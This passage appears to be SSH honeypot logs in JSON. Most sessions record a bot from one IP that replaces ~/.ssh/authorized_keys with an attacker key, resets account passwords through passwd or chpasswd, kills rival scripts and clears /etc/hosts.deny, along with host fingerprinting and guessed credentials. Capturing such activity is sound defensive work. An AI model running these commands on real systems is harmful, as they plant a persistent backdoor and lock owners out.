$4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T14:59:18.892091+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-26T14:59:19.459553+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-26T14:59:19.940471+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-26T14:59:20.244909+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-26T14:59:21.968509+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T14:59:22.278107+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-26T14:59:23.759123+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-26T14:59:24.063075+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-26T14:59:26.130835+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-26T14:59:26.432172+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-26T14:59:28.244197+00:00","kind":"output","latency_ms":null,"data":" 14:59:28 up 6 days, 11:49, 0 user, load average: 0.13, 0.16, 0.08\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-26T14:59:28.546440+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-26T14:59:29.849421+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-26T14:59:30.152783+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-26T14:59:31.545116+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-26T14:59:31.846293+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-26T14:59:32.954148+00:00","kind":"output","latency_ms":null,"data":"top - 14:59:32 up 6 days, 11:49, 0 user, load average: 0.13, 0.16, 0.08\nTasks: 107 total, 1 running, 106 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7467 free, 8420 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-26T14:59:33.254737+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-26T14:59:34.312894+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-26T14:59:34.615375+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-26T14:59:36.424578+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-26T14:59:36.727492+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-26T14:59:37.800152+00:00","kind":"output","latency_ms":null,"data":"seekcy"},{"seq":31,"at":"2026-08-26T14:59:38.102846+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-26T14:59:39.631265+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-26T14:59:39.929505+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-26T14:59:41.480133+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"seekcy","password":"Joysuch@Locate2022","method":"password","accepted":true,"tier":"other"}]} {"id":"d9067a12-1637-4078-a094-b63beaed67b6","name":"solemn-creaky-elk","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":61212,"username":"seekcy","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:59:13.867018+00:00","ended_at":"2026-08-26T14:59:15.158829+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"seekcy","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"1f9d2c9c-5765-4152-81f3-e2d6a7211b9c","name":"crisp-brisk-hoopoe","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":64618,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:59:11.985575+00:00","ended_at":"2026-08-26T14:59:13.301229+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"e3ee7511-773d-41cf-8664-c3417c9f6ccf","name":"bold-lonesome-ocelot","protocol":"ssh","channel_kind":"exec","src_ip":"157.245.34.56","src_port":62892,"username":"sftp","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":288,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T14:57:38.476574+00:00","ended_at":"2026-08-26T14:57:40.599679+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2247,"events":[{"seq":1,"at":"2026-08-26T14:57:12.702374+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T14:57:12.990149+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T14:57:16.601952+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T14:57:17.492919+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T14:57:17.781566+00:00","kind":"input","latency_ms":null,"data":"echo -e \"root\\nMpAG0BENyC9J\\nMpAG0BENyC9J\"|passwd|bash"},{"seq":6,"at":"2026-08-26T14:57:18.069726+00:00","kind":"input","latency_ms":null,"data":"echo \"root\\nMpAG0BENyC9J\\nMpAG0BENyC9J\\n\"|passwd"},{"seq":7,"at":"2026-08-26T14:57:18.358008+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T14:57:18.939146+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-26T14:57:19.327524+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-26T14:57:19.615693+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-26T14:57:20.213317+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-26T14:57:20.734908+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T14:57:21.026810+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-26T14:57:22.129162+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-26T14:57:22.418264+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-26T14:57:23.685112+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-26T14:57:23.971907+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-26T14:57:25.186483+00:00","kind":"output","latency_ms":null,"data":" 14:57:25 up 6 days, 11:47, 0 user, load average: 0.05, 0.06, 0.06\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-26T14:57:25.475399+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-26T14:57:27.069383+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-26T14:57:27.358800+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-26T14:57:28.515930+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-26T14:57:28.809331+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-26T14:57:30.789756+00:00","kind":"output","latency_ms":null,"data":"top - 14:57:30 up 6 days, 11:47, 0 user, load average: 0.05, 0.06, 0.06\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7944 free, 7944 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-26T14:57:31.078836+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-26T14:57:33.048016+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-26T14:57:33.340196+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-26T14:57:34.493517+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-26T14:57:34.782438+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-26T14:57:36.128620+00:00","kind":"output","latency_ms":null,"data":"sftp"},{"seq":31,"at":"2026-08-26T14:57:36.417558+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-26T14:57:38.188808+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-26T14:57:38.477290+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-26T14:57:40.514500+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"sftp","password":"root","method":"password","accepted":true,"tier":"other"}]} {"id":"7ddf590f-de66-464f-b263-0290b9c2417a","name":"ivory-hearty-bittern","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":61442,"username":"sftp","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:57:15.814830+00:00","ended_at":"2026-08-26T14:57:16.518170+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"sftp","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"c1ae416f-5c5a-4980-aa77-956246c70449","name":"canny-quartz-wombat","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":61426,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:57:13.647308+00:00","ended_at":"2026-08-26T14:57:15.231480+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"c6f68bac-2808-410e-8b8f-2d45cb853f27","name":"opal-silent-fennec","protocol":"ssh","channel_kind":"exec","src_ip":"157.245.34.56","src_port":63282,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":287,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T14:55:31.523076+00:00","ended_at":"2026-08-26T14:55:33.134250+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T14:55:04.028860+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T14:55:04.317050+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T14:55:08.249541+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T14:55:10.085292+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T14:55:10.375637+00:00","kind":"input","latency_ms":null,"data":"echo \"root:POVmwhwDeAbM\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T14:55:10.660571+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T14:55:10.948158+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T14:55:11.565473+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-26T14:55:12.876919+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-26T14:55:13.165255+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-26T14:55:14.098895+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-26T14:55:14.389836+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-26T14:55:15.216731+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-26T14:55:15.506525+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-26T14:55:17.259334+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-26T14:55:17.547742+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-26T14:55:19.675444+00:00","kind":"output","latency_ms":null,"data":" 14:55:19 up 6 days, 11:45, 0 user, load average: 0.02, 0.03, 0.02\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-26T14:55:19.960198+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-26T14:55:20.925584+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-26T14:55:21.214278+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-26T14:55:22.837842+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-26T14:55:23.127444+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-26T14:55:24.730547+00:00","kind":"output","latency_ms":null,"data":"top - 14:55:24 up 6 days, 11:45, 0 user, load average: 0.02, 0.03, 0.02\nTasks: 120 total, 1 running, 119 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9850 free, 6037 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-26T14:55:25.019406+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-26T14:55:26.643165+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-26T14:55:26.931095+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-26T14:55:28.041823+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-26T14:55:28.328745+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-26T14:55:30.136256+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-26T14:55:30.423668+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-26T14:55:31.233505+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-26T14:55:31.523585+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-26T14:55:33.050597+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Qwe123@@","method":"password","accepted":true,"tier":"other"}]} {"id":"d5c9cf8e-cb22-49ae-bf3e-66c747293ab9","name":"misty-silent-pochard","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":63292,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:55:06.557526+00:00","ended_at":"2026-08-26T14:55:08.164120+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"f447ec7f-1c84-4902-b0ee-e9511fbd6a7e","name":"vernal-gallant-manatee","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":63286,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:55:04.989124+00:00","ended_at":"2026-08-26T14:55:05.980304+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"68f114ed-7155-4e0c-b37b-46c2bf01d142","name":"curious-umber-goshawk","protocol":"ssh","channel_kind":"exec","src_ip":"157.245.34.56","src_port":53736,"username":"logviewer","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":291,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T14:53:35.724921+00:00","ended_at":"2026-08-26T14:53:37.263891+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2256,"events":[{"seq":1,"at":"2026-08-26T14:53:08.255880+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T14:53:08.544297+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T14:53:12.844936+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T14:53:13.747003+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T14:53:14.036857+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123456\\nYQS5r3BOh1g9\\nYQS5r3BOh1g9\"|passwd|bash"},{"seq":6,"at":"2026-08-26T14:53:14.326457+00:00","kind":"input","latency_ms":null,"data":"echo \"123456\\nYQS5r3BOh1g9\\nYQS5r3BOh1g9\\n\"|passwd"},{"seq":7,"at":"2026-08-26T14:53:14.615205+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T14:53:15.237791+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-26T14:53:15.844465+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-26T14:53:16.140022+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-26T14:53:16.429877+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-26T14:53:17.468781+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T14:53:17.760231+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-26T14:53:19.705289+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-26T14:53:19.997656+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-26T14:53:21.703324+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-26T14:53:21.994220+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-26T14:53:23.884319+00:00","kind":"output","latency_ms":null,"data":" 14:53:23 up 6 days, 11:43, 0 user, load average: 0.09, 0.08, 0.08\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-26T14:53:24.174571+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-26T14:53:25.182007+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-26T14:53:25.472131+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-26T14:53:26.462625+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-26T14:53:26.751830+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-26T14:53:28.118504+00:00","kind":"output","latency_ms":null,"data":"top - 14:53:28 up 6 days, 11:43, 0 user, load average: 0.09, 0.08, 0.08\nTasks: 121 total, 1 running, 120 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7308 free, 8579 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-26T14:53:28.408227+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-26T14:53:30.489216+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-26T14:53:30.786865+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-26T14:53:32.409915+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-26T14:53:32.706048+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-26T14:53:34.233696+00:00","kind":"output","latency_ms":null,"data":"logviewer"},{"seq":31,"at":"2026-08-26T14:53:34.531676+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-26T14:53:35.428826+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-26T14:53:35.725436+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-26T14:53:37.177042+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"logviewer","password":"123456","method":"password","accepted":true,"tier":"other"}]} {"id":"59012252-9462-41e2-8fc1-e0ebe7a5f26a","name":"proud-restless-alpaca","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":53758,"username":"logviewer","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:53:11.226958+00:00","ended_at":"2026-08-26T14:53:12.760772+00:00","ended_reason":"no channel 